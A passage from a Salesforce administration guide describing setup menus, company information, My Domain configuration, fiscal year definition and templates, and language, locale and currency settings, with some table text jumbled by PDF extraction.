Expand the Company Profile folder under Administration Setup to access the following options: Company Information Update your company's information and set up multiple currencies. Manage Currencies Set up multiple currencies. Manage Divisions Set up divisions to segment your data for greater ease-of-use. Fiscal Year Set up fiscal years for your organization. Business Hours Set up business hours for your customer support team. Holidays Set up holidays during which business hours for your customer support team don't apply. My Domain Set up a custom Salesforce domain name, which appears in the URLs that you use to login to and use the application.

Security Controls
Expand the Security Controls folder under Administration Setup to access the following options: Sharing Settings Define how your users share data. Field Accessibility View the access that users have to specific fields based on profile and record types. Password Policies Define password policies for security. Session Settings Lock users sessions to an IP address or change session timeout settings. Network Access Define IP addresses from which users can log in to your organization. Certificate and Key Management Create and manage Salesforce key pairs and certificates for your organization. View Setup Audit Trail View which users have recently changed your organizations setup. Account Owner Report Restrict users from running the Account Owners report, which lists all accounts and who owns them.

353

Administering Salesforce

Setting Up Your Organization

Expire All Passwords Expire passwords for all users in the organization. Delegated Administration Enable standard users to perform some administrative duties. Remote Site Settings Specify the Web addresses that your organization can invoke from Salesforce. You must specify a site before callouts to them from Visualforce pages, Apex, or the AJAX proxy will function correctly. HTML Documents and Attachments Settings Restrict users from uploading HTML files as attachments or to the Documents tab. Portal Health Check View reports that show portal users' data access levels for your organization.

Communication Templates
Expand the Communication Templates folder under Administration Setup to access the following options: Letterheads Create branded letterheads for HTML emails. Email Templates Create email templates to standardize communication. Mail Merge Templates Upload templates for mail merge documents.

Globalization
View the Salesforce Globalization Overview online help topic to learn about the different administration tasks that are available for globalizing Salesforce.

Data Management
Expand the Data Management folder under Administration Setup to access the following options: Analytic Snapshots Enable users to automatically run reports and save report results to fields on custom objects for further customization. Import Accounts/Contacts, Import Person Accounts, Import Leads, Import Solutions, and Import Custom Objects Import your organizations accounts, contacts, custom objects, leads, person accounts, and solutions. Data Export Export your organizations data. Storage Usage View how much data storage and file storage your organization is using. Mass Transfer Records Transfer multiple records at one time.

354

Administering Salesforce

Setting Up Your Organization

Mass Delete Records Delete multiple records at one time. Mass Transfer Approval Requests Transfer multiple approval requests at one time. Delete All Data Delete the existing data from your trial organization. Mass Reassign Account Teams and Mass Reassign Opportunity Teams Add, remove, and reassign account and sales team members for multiple records. Mass Division Transfer Change divisions for multiple records. Sandbox Create a complete single copy of your organization in a separate environment to do a variety of actionssuch as quality assurance testing, integration testing, or user trainingwithout compromising your organizations data. Mass Update Addresses Update the Country or State/Province field on all records with an address. These include addresses in accounts, contacts, contracts, invoices, leads, and orders. Data Loader Download a client application that allows you to import, update, delete, and export large quantities of records.

Monitoring
Expand the Monitoring folder under Administration Setup to access the following options: Imports An administrator can check the Import Queue to view details about an import or to cancel an organization import. Outbound Messages An administrator can view the Outbound Message queue to check the status of outbound messages related to workflow or approval processes. Time-Based Workflow Specify criteria for monitoring the workflow queue, which contains pending actions triggered by workflow rules. Case Escalations Specify criteria for monitoring the case escalation queue, which contains pending actions triggered by case escalation rules. API Usage Notifications Define a notification process that automatically sends email to a specified user when API requests for an organization exceed the specified limit. Mass Emails View the status of scheduled mass emails and cancel mass emails as appropriate. Debug Logs Specify the users for whom you want to retain the Apex debug logs in your organization.

355

Administering Salesforce

Setting Up Your Organization

Scheduled Jobs View all the jobs scheduled to run by users, such as analytic snapshots and dashboard refreshes. Email Log Files Request detailed summaries of email sent from Salesforce over the last 30 days. Bulk Data Load Jobs Monitor the status of current and recent bulk data load jobs.

Mobile Administration
Expand the Mobile Administration folder under Administration Setup to create mobile configurations for your wireless users. Mobile configurations are sets of parameters that determine which data Salesforce transmits, and which users receive that data on their mobile devices.

Desktop Administration
Expand the Desktop Administration folder under Administration Setup to manage desktop configurations for Connect Offline and Connect for Outlook. Outlook Configurations Define the behavior of Salesforce for Outlook for your users, including the Salesforce options that appear in the Outlook user interface, the data that syncs between Salesforce and Outlook, and which users receive that data. Offline Briefcase Configurations Define the behavior of Connect Offline for your offline users. Offline briefcase configurations are sets of parameters that determine which data Salesforce transmits and which users receive that data in Connect Offline.

Email Administration
Expand the Email Administration folder under Administration Setup to configure the following email options for your organization: Deliverability Set up email delivery options that affect your entire organization. Organization-Wide Addresses Associate an email alias with each available user profile. Compliance BCC Email If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance BCC emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under My Email Settings. Email Relay Activation Configure Salesforce to automatically route email through your company's Simple Mail Transfer Protocol (SMTP) server. Test Deliverability Verify your organization can receive email from every Salesforce IP address.

356

Company Information

About Company Information

Email To Salesforce Automatically log emails you send from third-party email accounts as activities on lead and contact records in Salesforce. Attachments Sent as Links Find and delete email attachments sent as links. Email Footers on page 951 Create footers for outgoing email.

Google Apps
Expand the Google Apps folder under Administration Setup to integrate Salesforce with Google Apps: a suite of on-demand communication and collaboration tools hosted by Google and designed for business users.

COMPANY INFORMATION
About Company Information
Available in: All Editions

User Permissions Needed To view company information: To change company information: View Setup and Configuration Customize Application

When your company signs up, the information provided during signup is displayed on the Company Information page at Your Name > Setup > Company Profile > Company Information. From the Company Information page, you can: Click Edit to change your company's information, including your organization's Default Language setting. Click Currency Setup to set up the ability to use multiple currencies. Available in Group, Professional, Enterprise, Unlimited, Database.com, and Developer Editions only. Go to Checkout to buy additional user or feature licenses by clicking Buy More Licenses in the appropriate related list. For detailed instructions, see Checkout User Guide.

The Company Information page also displays all of the active user and feature licenses you have purchased for your organization. A user license entitles a user to different functionality within Salesforce and determines which profiles and permission sets are available to the user. A feature license entitles a user to an additional Salesforce feature, such as Marketing or Connect Offline. This page lists the following for each type of license:
Status indicates the status of the license. Total Licenses indicates the number of licenses for which your organization is billed and that are available to you. Used Licenses is the number of licenses that you have assigned to users.

357

Company Information

My Domain Overview

Remaining Licenses is the number of unused licenses.

In addition to license types, the following portal login information is listed for organizations that have Customer Portals or partner portals enabled:
Monthly Logins Allotted shows the maximum number of customer or partner portal logins allowed per month. Monthly Logins Used indicates the number of successful logins for all users associated with a customer or partner

portal user license for the month.

See Also:
Company Information Fields Understanding Language, Locale, and Currency Managing Multiple Currencies Viewing User License Types Viewing Feature Licenses

My Domain Overview
Available in: Unlimited, Enterprise, Developer, and Database.com editions.

Using My Domain, your organization can select a custom Salesforce domain name that highlights your brand, or a different term that represents your business. Using a custom domain name provides other important advantages, such as increased security and better support for single sign-on. My Domain is also available for sandbox environments. Note: My Domain is subject to these additional Terms of Use.

For all available editions except Database.com, your domain name uses the standard URL format, including: The protocol: https:// The subdomain prefix: your brand or term The domain: my.salesforce.com

For example, the login URL for a company called Universal Containers would be: https://universalcontainers.my.salesforce.com/. You can use up to 40 characters. For Database.com users, the login URL would be https://universal.containers.com. It's a snap to set up a custom domain name. After you decide on the name or term you want to use, My Domain checks to make sure your subdomain is available. Then it registers the domain name and publishes it to the internet. After a brief period, you'll receive an email to let you know your new domain name is ready for testing. Log in using the new URL and test the URLs for other pages in the application. For Database.com users, it's even easier, because Database.com generates a domain name for you. When deployed, you have options for how you want to handle page requests that don't use the new domain name. You can block them entirely or redirect them to the new URLwith or without a message.

358

Company Information

Setting Up and Rolling Out a Domain Name

Important: For all available editions except Database.com, after you deploy your new domain name, you can't reverse it. After deployment, all users will be redirected to your new domain. For Database.com users, however, you have the opportunity to change your domain name one time only.

See Also:
Setting Up and Rolling Out a Domain Name

Setting Up and Rolling Out a Domain Name


Available in: Unlimited, Enterprise, Developer, and Database.com editions.

User Permissions Needed To set up a domain name: Customize Application

When you set up a domain name for your organization, all of your application URLs, including those of Visualforce pages, will change. This table shows you the differences. URL Type Login Application page or tab Old URL
https://login.salesforce.com https://na1.salesforce.com/<pageID>

New URL
https://<subdomain>.my.salesforce.com https://<subdomain>.my.salesforce.com /<pageID>

Visualforce page https://c.na1.visual.force.com/apex/<pagename> https://<subdomain>--c.na1.visual. with no namespace force.com/apex/<pagename> Visualforce page with namespace
https://<yournamespace101>.na1.visual. https://<subdomain>-force.com/apex/<pagename> <yournamespace>.na1.visual.force.com /apex/<pagename>

Note: If you implement My Domain in a sandbox environment, the URL format is


https://<subdomain>--<sandboxname>.<instance>.my.salesforce.com. Since you can't have

namespaces in a sandbox environment, the format of all Visualforce page URLs in a sandbox is
https://<subdomain>--<sandboxname>.<instance>.my.salesforce.com/apex/<pagename>.

Setting Up Your New Domain Name


1. Click Your Name > Setup > Company Profile > My Domain. 2. Enter the name you want to use within the sample URL. For example, the login URL for a company called Universal Containers would be: https://universalcontainers.my.salesforce.com/. You can use up to 40 characters. 3. Click Check Availability. If your name is already taken, choose a different one. 4. Click Terms and Conditions to review your agreement, then select the checkbox.

359

Company Information

Setting Up and Rolling Out a Domain Name

5. You'll receive an email when your domain name is ready for testing. (It can take from 24 to 72 hours.) Click the URL in the email to login to Salesforce using your new domain name.

Testing and Rolling Out Your New Domain Name


Test the new domain name by clicking tabs and links that you use within your application. You'll notice that all the tabs and pages show your new domain name. After you test your domain name, you're ready to roll it out to users. 1. When you finish testing your new domain name, click Your Name > Setup > Company Profile > My Domain and click Deploy to Users to roll out the new domain name to your organization. Important: For all available editions except Database.com, after you deploy your new domain name, you can't reverse it. After deployment, all users will be redirected to your new domain. For Database.com users, however, you have the opportunity to change your domain name one time only. 2. Click Edit in the My Domain Settings related list. If you want to accept logins from your new domain only, select the Login Policy checkbox. If you don't require users to log in from the new domain, they'll be blocked or redirected based on your redirect setting. Tip: If you block application page requests that don't use the new Salesforce domain name URLs, let your users know they need to either update old bookmarks or create new ones for the login page and any tabs or links within the application. Users will be required to use the new URLs if you block page requests. 3. Select a redirect policy. If you want to redirect page requests that don't use the new domain name, select a redirect option. Users can access application pages with or without a message explaining the URL change. Tip: If you choose to redirect page requests to new URLs and provide a warning message, let your users know that they should update their bookmarks the first time they're redirected. 4. Click Save. Note: If your domain is registered but has not yet been deployed, URLs in your application will show My Domain URLs when you log in from the My Domain login page. However, links that originate from merge fields that are embedded in emails sent asynchronously, such as workflow emails, will still contain the old URLs. After your domain is deployed, those links will show the new My Domain URLs.

Guidelines for Implementing Your Domain Name


If you have customized your Salesforce UI with features such as custom buttons or Visualforce pages, make sure you test thoroughly before you roll out your new domain name. Your customizations should not use instance-based URLs. After you roll out your new domain name, use My Domain's redirect tools to gradually phase it in. For example, choose the Redirected with a warning... option to make sure users update their bookmarks. When your organization is ready to use the new domain URLs exclusively, return to setup and choose the Blocked option so users can't use their old URLs. If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click Your Name > Setup > Manage Users > Login History and look at the Username and Login URL columns.

Getting System Performance and Maintenance Information


Salesforce customers get system performance and maintenance information from trust.salesforce.com. Here's how to get that information using your new domain name. 1. Go to trust.salesforce.com. 2. Click the System Status tab.

360

Company Information

Setting the Fiscal Year

3. Enter your domain name to find your instance and check the status. 4. Scroll to the System Maintenance table and look for entries for your instance.

See Also:
My Domain Overview

Setting the Fiscal Year


Available in: All Editions except for Database.com.

User Permissions Needed To view fiscal year: To change fiscal year: View Setup and Configuration Customize Application

You can set one of two types of fiscal years: standard fiscal years or custom fiscal years. For specific information on both types of fiscal years, see About Fiscal Years on page 362.

Setting a Standard Fiscal Year


If your organization follows the Gregorian calendar year, but you need to change the fiscal year start month, use standard fiscal years. Standard fiscal years can start on the first day of any month, and you can specify whether the fiscal year is named for the starting or ending year. For example, if your fiscal year starts in April 2011 and ends in March 2012, your fiscal year setting can be either 2011 or 2012. If your fiscal year is more complicated than this, see Enabling Custom Fiscal Years on page 362 Caution: All quotas, forecast history, and overrides are lost if the fiscal start month is changed to a month that wasn't previously the first month in a quarter. For example, if you change the start month from January to April, your data will be preserved. However, if you change it from January to February, your data will be lost. To set a standard fiscal year: 1. Back up your current data. a. Run and export these reports to Excel: Opportunity Pipeline Quarterly Forecast Summary Quota vs. Actual

b. Optionally, generate weekly export data. We suggest you do this because changing the fiscal year will cause fiscal periods to shift. This change will affect opportunities and forecasts organization-wide. 2. 3. 4. 5. Click Your Name > Setup > Company Profile > Fiscal Year. Select Standard Fiscal Year. Choose the start month. Specify whether the fiscal year is defined by the year it begins or ends.

361

Company Information

Setting the Fiscal Year

6. Optionally, select Apply to All Forecasts and Quotas if you want to apply the new fiscal year settings to your existing forecasts and quotas. This option may not be available depending on your forecast settings. 7. Click Save to finish.

Enabling Custom Fiscal Years


If your fiscal year definition is not met by a standard fiscal year, you can enable custom fiscal years which will allow you to flexibly define a more complex fiscal year structure. To enable custom fiscal years: Note: Before enabling custom fiscal years, make sure that you have exported any data related to fiscal periods. For specific details about the effects of enabling custom fiscal years, see About Fiscal Years on page 362. 1. Back up your current data. a. Run and export these reports to Excel: Opportunity Pipeline Quarterly Forecast Summary Quota vs. Actual

b. Optionally, generate weekly export data. We suggest you do this because changing the fiscal year will cause fiscal periods to shift. This change will affect opportunities and forecasts organization-wide. 2. 3. 4. 5. Click Your Name > Setup > Company Profile > Fiscal Year. Select Custom Fiscal Year. Click Enable Custom Fiscal Years. If you understand the effects of enabling custom fiscal years and you have all your data exported, click OK. Caution: Custom fiscal years cannot be disabled once enabled. Enabling custom fiscal years has impacts on your reports, forecasts, quotas, and other date sensitive material. Do not enable custom fiscal years unless you understand and are prepared for all the implications. If you are not certain you want to enable custom fiscal years, click Cancel. 6. Once you have enabled custom fiscal years, define your fiscal year. See Defining a Custom Fiscal Year on page 369.

See Also:
Setting Up Customizable Forecasting About Fiscal Years Defining a Custom Fiscal Year Choosing a Custom Fiscal Year Template

About Fiscal Years

362

Company Information

About Fiscal Years

Available in: All Editions except for Database.com.

User Permissions Needed To define or edit fiscal years: To view fiscal years: Customize Application View Setup and Configuration

Not all businesses use the Gregorian year for their fiscal year. Salesforce makes it easy for you to define a fiscal year that fits your business needs. If your fiscal year follows the Gregorian calendar, but does not start in January, you can simply and easily set your fiscal year by defining a standard fiscal year. If your fiscal year follows a different structure, you can define a custom fiscal year that meets your needs. Whether you use a standard fiscal year or a custom fiscal year, you can define individual fiscal years once for your entire organization. These fiscal year definitions allow you to use these fiscal periods throughout Salesforce including in reporting, opportunities, and forecasting. Tip: As a best practice, define your custom fiscal years after your current forecast. Also, update product schedules and forecasts whenever a custom fiscal year is created or changed.

See Also:
Setting the Fiscal Year

Standard Fiscal Years


Standard fiscal years are periods that follow the Gregorian calendar, but can start on the first day of any month of the year. Unlike custom fiscal year, standard fiscal years can be used by organizations that do not have customizable forecasting enabled.

Custom Fiscal Years


For companies that break down their fiscal years, quarters, and weeks into custom fiscal periods based on their financial planning requirements, Salesforce allows you to flexibly define these periods using custom fiscal years. For example, as part of a custom fiscal year, you can create a 13-week quarter represented by three periods of 4, 4, and 5 weeks, rather than calendar months. If you use a common fiscal year structure, such as 4-4-5 or a 13-period structure, you can rapidly define a fiscal year by simply specifying a start date and an included template. If your fiscal year structure is not included in the templates, you can easily modify a template. For example, if you use three fiscal quarters per year (a trimester) rather than four, delete or modify quarters and periods to meet your needs. Custom fiscal periods can be named based on your standards. For example, a fiscal period could be called P2 or February.

363

Company Information

Customizing the Fiscal Year Structure

Fiscal years can be modified any time that you need to change their definition. For example, an extra week could be added to synchronize a custom fiscal year with a standard calendar in a leap year. Changes to fiscal year structure take effect immediately upon being saved. Considerations When Enabling Custom Fiscal Years Before enabling custom fiscal year, consider these issues: Once you enable custom fiscal years, you cannot disable it. However, you can define custom fiscal years that follow the same Gregorian calendar structure as the Salesforce standard fiscal years. Fiscal years will not be automatically created. The only fiscal years available are those that your organization defines. Forecasting cannot be used with custom fiscal years unless you have customizable forecasting enabled. To determine if you have customizable forecasting, see Do I Have Customizable Forecasting? on page 2242. Enabling or defining custom fiscal years impacts your forecasts, reports, and quotas. When you define a new custom fiscal year, or when you change the length of any fiscal period, all quotas for that year will be lost. When you define a new custom fiscal year, or when you change the length of any fiscal period, forecasts, forecast history, and forecast overrides are lost. Changing the length of a period may also affect the previous or next fiscal year and reports associated with it. Forecasts for periods before the first custom fiscal year will be saved and can be accessed as usual. Forecast reports for a period after the last defined fiscal year cannot be grouped by period, only by date. To ensure your forecast reports have the most updated amounts, view the forecast for the period included in the report before running a forecast report. Your organization will not be able to use fiscal period columns in opportunity, opportunity with product, or opportunity with schedule reports. Opportunity list views will not include a fiscal period columns. When custom fiscal years are enabled, you can't use the FISCAL_MONTH(), FISCAL_QUARTER(), or FISCAL_YEAR() date functions in SOQL. For more information on SOQL date functions, see the Web Services API Developer's Guide.

Customizing the Fiscal Year Structure


Available in: All Editions except for Database.com.

User Permissions Needed To define or edit fiscal years: To view fiscal years: Customize Application View Setup and Configuration

If your custom fiscal year needs a different structure than one available from the templates, you can use advanced customization to modify the details of your custom fiscal year definition. Custom fiscal years allow you to: Customize the period labels Reset the fiscal year to a template Add or remove fiscal periods Change the length of a fiscal week

364

Company Information

Customizing the Fiscal Year Structure

Caution: Changing the length of a fiscal year has an impact on forecasting and reporting. For detailed information on the impact, see About Fiscal Years on page 364.

Customizing the Period Labels


The fiscal year period labels for forecasting and reporting are set by the default label values for the fiscal year periods. To change them, see Customizing the Fiscal Year Labels on page 366.

Resetting the Fiscal Year to a Template


During customization, if you want to return to a fiscal year template, select a template from the Reset Fiscal Year Structure drop-down list. Note: Resetting the fiscal year structure to a template removes all the customizations you made to the fiscal year.

Adding or Removing Fiscal Periods


You can easily add or remove fiscal periods (such as quarters, periods, or weeks) from the fiscal year structure. To add fiscal periods: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Fiscal Year. Click Edit for the fiscal year you want to edit. If it is not already expanded, expand the Advanced Customization section. Select the checkbox for the period before the new period. For example, if you want to add a new quarter, and you want it to be the second quarter, select the checkbox for the first quarter. 5. Click Insert. Note: The maximum number of fiscal periods is 250.

To remove a fiscal period: 1. 2. 3. 4. 5. Click Your Name > Setup > Company Profile > Fiscal Year. Click Edit for the fiscal year you want to edit. If it is not already expanded, expand the Advanced Customization section. Select the checkbox for the period you want to delete. Click Delete. Note: You must have at least one quarter, one period, and one week.

Changing the Length of a Fiscal Week


To change the length of fiscal periods: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Fiscal Year. Click Edit for the fiscal year you want to edit. If it is not already expanded, expand the Advanced Customization section. Choose the length from the Duration drop-down list for the fiscal week.

365

Company Information

Customizing the Fiscal Year Labels

Note: To change the duration of a fiscal period or quarter, insert or delete weeks, or change the length of weeks that compose the period or quarter.

Once you have customized your fiscal year, preview the fiscal year definition. If it is correct, close the preview and click Save to save your fiscal year.

See Also:
Defining a Custom Fiscal Year About Fiscal Years Choosing a Custom Fiscal Year Template

Customizing the Fiscal Year Labels


Available in: All Editions except for Database.com.

User Permissions Needed To define or edit fiscal years: To view fiscal years: Customize Application View Setup and Configuration

There are two ways to customize the labeling of your fiscal year: 1. Naming schemes and prefix choices 2. Fiscal year picklist customization

Fiscal Year Naming Schemes and Prefix Choices


When defining a custom fiscal year, you can choose the labeling scheme to use for your custom fiscal year. Each fiscal period type (quarter, period, and week) has a list of labeling schemes that you can select. Quarter Name Scheme Numbered by Year This option allows you to add the quarter number to the quarter label. The quarter label is a combination of the label for the quarter prefix and the quarter number. For example, if the quarter prefix is Q, the label for the third quarter Q3. To customize the quarter prefix, see Quarter Prefix on page 367. By default the number for each quarter is set by their order (the first quarter is labeled 1), but you can customize it by selecting a different value from the quarter detail drop-down list. Custom Quarter Names This option allows you to set the quarter label to any name. The quarter label is set to the name you select from Quarter Name. By default the order of the quarter names is the same as the picklist order, but you can customize it by selecting a different value from the quarter detail drop-down list.

366

Company Information

Customizing the Fiscal Year Labels

Period Name Scheme Numbered By Year This option allows you to set the period label based on its position in the year. The period label is a combination of the period prefix and the period number. Period numbers do not reset in each quarter. For example, if the period prefix is P, the label for the sixth period is P6. To customize the Period Prefix, see Period Prefix on page 367. By default the number for each period is set by their order (the first period is labeled 1), but you can customize it by selecting a different value from the period detail drop-down list. Numbered By Quarter This option allows you to set the period label based on its position in the quarter. The period label is a combination of the period prefix and the period number. Period numbers reset in each quarter. For example, if the period prefix is P, and the sixth period is the second period in the second quarter, its label is P2. To customize the period prefix, see Period Prefix on page 367. By default the number for each period is set by their order within the quarter (the first period in a quarter is labeled 1), but you can customize it by selecting a different value from the period detail drop-down list. Standard Month Names This option allows you to set the period label to the month name of the start of the period. For example, if a period started on October 12 and ends on November 10, the period label would be October. Custom Period Names This option allows you to set the period label to any string. The period label is set to the string you select from Period Name. By default the order of the period names is the same as the picklist order, which you can customize by selecting a different value from the period detail drop-down list.

Fiscal Year Picklists


Review these custom picklists to customize the labels for your custom fiscal year.
Quarter Prefix

The quarter prefix picklist is a list of options for the text that prefixes the quarter number or name if your fiscal year uses the Numbered By Year quarter naming scheme. For example, if the fiscal quarter is called Q4, the Q is the quarter prefix.
Period Prefix

The period prefix picklist is a list of options for the text that prefixes the period number or name if your fiscal year uses the Numbered By Year period naming scheme. For example, if the fiscal quarter is called P4, the P is the period prefix.
Quarter Name

The quarter name picklist is a list of options for the quarter name if your fiscal year uses the Custom Quarter Names quarter naming scheme. For example, if you want to name your quarters for the seasons (Spring, Summer, Fall, and Winter), you could set the quarter name list to those values.
Period Name

The period name picklist is a list of options for the quarter name if your fiscal year uses the Custom Period Names quarter naming scheme. Similar to the quarter name picklist, you can choose meaningful names for the period name picklist.

Customizing Fiscal Year Names


To customize one of these picklists:

367

Company Information

Choosing a Custom Fiscal Year Template

1. Click Your Name > Setup > Company Profile > Fiscal Year. 2. Click Edit next to the appropriate picklist. For details on customizing the values of these picklists, see Additional Options for Updating Picklists on page 968.

Choosing a Custom Fiscal Year Template


Available in: All Editions except for Database.com.

User Permissions Needed To change your fiscal year: Customize Application

When defining a new custom fiscal year, your first step is to choose a custom fiscal year template. These templates are available to make it easier for you to define your custom fiscal year. They create a simple custom fiscal year that you can customize to meet your exact needs. Note: If you choose a template and realize that it is not the best one for your fiscal year definition, you can reset it at any time using the Reset Fiscal Year Structure option. For more information, see Customizing the Fiscal Year Structure on page 364. Choose one of three types of templates: 4 Quarters per Year, 13 Weeks per Quarter Choose one of these templates for your fiscal year if you want each quarter to have the same number of weeks per quarter. These templates all have 4 quarters, 12 periods, and 52 weeks per year. Each quarter is 13 weeks long and is composed of three periods. Two of the periods in each quarter are 4 weeks, and one is 5 weeks. In a 4-4-5 template, for example, the first and second period of a quarter are 4 weeks long, and the third period is 5 weeks long. Weeks are always 7 days long. A typical customization for these templates is to add extra weeks for leap years. 4-4-5 Within each quarter, period 1 has 4 weeks, period 2 has 4 weeks, and period 3 has 5 weeks 4-5-4 Within each quarter, period 1 has 4 weeks, period 2 has 5 weeks, and period 3 has 4 weeks 5-4-4 Within each quarter, period 1 has 5 weeks, period 2 has 4 weeks, and period 3 has 4 weeks 13 Periods per Year, 4 Weeks per Period Choose one of these templates if your fiscal year has more than 12 periods and if one quarter is longer than the other quarters. These templates all have 4 quarters per year, 13 periods per year, 3 or 4 periods per quarter, 53 weeks per year, and 4 weeks per period (5 weeks in the final period). Weeks generally have 7 days, but will include a short week at the end of a year. The most common customization for this type of template is to create or change the length of a short week. 3-3-3-4 Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 4 periods

368

Company Information

Defining a Custom Fiscal Year

3-3-4-3 Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 4 periods, and quarter 4 has 3 periods 3-4-3-3 Quarter 1 has 3 periods, quarter 2 has 4 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods 4-3-3-3 Quarter 1 has 4 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods Gregorian Calendar 12 months/year, standard Gregorian calendar. Unlike the other template styles, you cannot do advanced customization of a fiscal year that has been created from a Gregorian calendar template. You should only use this template if you want to create a fiscal year that follows the Gregorian calendar. This template mimics the functionality of standard fiscal years.

See Also:
Defining a Custom Fiscal Year About Fiscal Years

Defining a Custom Fiscal Year


Available in: All Editions except for Database.com.

User Permissions Needed To view fiscal year: To change your fiscal year: View Setup and Configuration Customize Application

Before defining a custom fiscal year, enable custom fiscal years for your organization. See Enabling Custom Fiscal Years on page 362 for more information. Enabling custom fiscal years does not automatically define them. You must define all of your company's custom fiscal years so that they fit your company's calendar. If you have defined a custom fiscal year and you need to change it, you can edit the existing fiscal year definition. Custom fiscal years cannot be deleted. Instead of deleting an existing fiscal year, edit it until it meets your needs. Before defining or editing any custom fiscal years, be aware of its impact on forecasting, reports, and other objects by reviewing About Fiscal Years on page 362.

Defining a New Custom Fiscal Year


To define a new custom fiscal year: 1. Click Your Name > Setup > Company Profile > Fiscal Year.

369

Company Information

Defining a Custom Fiscal Year

2. Click New. The Custom Fiscal Year template dialog opens. 3. Choose a template and click Continue to close the Custom Fiscal Year template dialog. For more information on the templates, see Choosing a Custom Fiscal Year Template on page 368. 4. Set the fiscal year start date, the fiscal year name, and choose the week start day. You can also add a description for the fiscal year. Note: If this is the first custom fiscal year you have defined, the Fiscal Year Start Date and the Week Start Date are set to today's date and day of week. If you have already defined a custom fiscal year, they will be set to the day after the last end date of your custom fiscal years. If you need to make changes other than the start date, year name, or week start day, see Customizing the Fiscal Year Structure on page 364. 5. Optionally, review the fiscal year definition by clicking on Preview. If it is correct, close the preview and click Save to save your fiscal year, or Save & New to save your fiscal year and define another fiscal year.

Editing a Custom Fiscal Year


To edit an existing custom fiscal year definition: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Fiscal Year. Click a defined fiscal year name to review the details. Close the fiscal year preview to continue. Click Edit for the fiscal year you want to edit. Change the Fiscal Year Start Date, the Fiscal Year Name, Description, or Week Start Day. If changing the Fiscal Year Start Date causes this fiscal year to overlap with the previous fiscal year, or if it creates a gap between the fiscal years, the end date of the previous fiscal year will be changed to the day before the start of this fiscal year. If changing the end date will cause this fiscal year to overlap the next fiscal year, or if it creates a gap between the fiscal years, the start date of the next fiscal year will be changed to the day after the end of this fiscal year. Note: You cannot change the start or end date of a fiscal year that causes it to overlap with a fiscal year that is defined using a Gregorian year template. Caution: If you change the start or end date of any quarter, period, or week, all forecast data (including quotas, forecast history, and forecast overrides) that are within that date range, and all forecasts for date ranges automatically adjusted as a result of that change, will be lost. This includes end or start date changes resulting from inserting or deleting periods. 5. Click Preview. 6. Review the fiscal year definition. If it is correct, close the preview and click Save to save your fiscal year. If you need to make more detailed edits, see Customizing the Fiscal Year Structure on page 364.

370

Company Information

Understanding Language, Locale, and Currency

Note: Unless you specify them, the fiscal year period labels for forecasting and reporting will be set by the default label values for the fiscal year periods. If you would like to change them, see Customizing the Fiscal Year Labels on page 366.

See Also:
Setting the Fiscal Year Choosing a Custom Fiscal Year Template Additional Options for Updating Picklists About Fiscal Years

Understanding Language, Locale, and Currency


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view company information: To change company information View Setup and Configuration Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

The Salesforce settings for language, locale, time zone, and currency can affect how objects (Accounts, Leads, Opportunities, etc.) are displayed. In a single currency organization, the Salesforce administrators set the currency locale, default language, default locale, and default time zone for their organizations and the users can set their individual language, locale, and time zone. In a multiple currency organization, the Salesforce administrators set the corporate currency, default language, default locale, and default time zone for their organizations and the users can set their individual currency, language, locale, and time zone. Note: Single language organizations cannot change their language, although they can change their locale.

Setting
Currency

Who can edit the setting User in a multiple currency organization

How to edit the setting Go to Your Name > Setup > My Personal Information > Personal Information > Edit and select a currency from the activated currencies drop-down list.

Description and effects of the setting Users default currency for quotas, forecasts, and reports. Shown only in organizations using multiple currencies. This must be one of the active currencies for the organization. The currency in which the organization's corporate

Corporate Currency

Administrator in a multiple Go to Your Name > Setup currency organization > Company Profile >

371

Company Information

Understanding Language, Locale, and Currency

Setting

Who can edit the setting

How to edit the setting Manage Currencies > Change Corporate and select a currency from the
New Corporate Currency drop-down list.

Description and effects of the setting headquarters reports revenue. Serves as the basis for all currency conversion rates. Only for organizations that use multiple currencies.

To add a currency, click New, select a currency from the supported currency drop-down list, enter a conversion rate, enter the number of decimal places you want, and click Save or Save & New to add another currency.
Currency Locale

Administrator in a single currency organization

Go to Your Name > Setup > Company Profile > Company Information > Edit and select a currency from the supported currency drop-down list. Not editable

The country or geographic region in which the organization is located. The setting affects the format of currency amounts. For single currency organizations only. User's default currency setting for new records. Available only for organizations that use multiple currencies. The default language that is selected for new users in the organization. This setting determines the language used for the user interface text and help. This setting also determines the language in which all customizationssuch as custom fields, tabs, and user interface optionsare stored. For customizations, individual users' language settings do not override this setting. The default country or geographic region that is selected for new users in the organization. This setting determines the format of dates, times, and names in

Default Currency ISO Not editable Code

Default Language

Administrator

Go to Your Name > Setup > Company Profile > Company Information > Edit and select a language from the supported language drop-down list.

Default Locale

Administrator

Go to Your Name > Setup > Company Profile > Company Information > Edit and select a locale from

372

Company Information

Understanding Language, Locale, and Currency

Setting

Who can edit the setting

How to edit the setting the supported locale drop-down list.

Description and effects of the setting

Salesforce. In Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Edition Note: Locale names organizations, individual users can with a country in set their personal locale, which parentheses also set overrides the organization setting. a default currency In Group Edition, this field is called Locale. Primary time zone in which the organization is located. A user's individual Time Zone setting overrides the organization's Default Time Zone setting. Note: Organizations in Arizona should select Mountain Standard Time, and organizations in parts of Indiana that do not follow Daylight Savings Time should select Eastern Standard Time. The default currency for all currency amount fields in the user record. Available only for organizations that use multiple currencies. The primary language for the user. All text and online help is displayed in this language. In Professional, Enterprise, and Unlimited Edition organizations, a users individual Language setting overrides the organizations Default Language. Not available in Personal Edition, Contact Manager, or Group Edition. The organizations Display Language applies to all users.

Default Time Zone

Administrator

Go to Your Name > Setup > Company Profile > Company Information > Edit and select a time zone from the supported time zone drop-down list.

Information Currency Not editable

Not editable

Language

User

Go to Your Name > Setup > My Personal Information > Personal Information > Edit and select a language from the supported language drop-down list.

373

Company Information

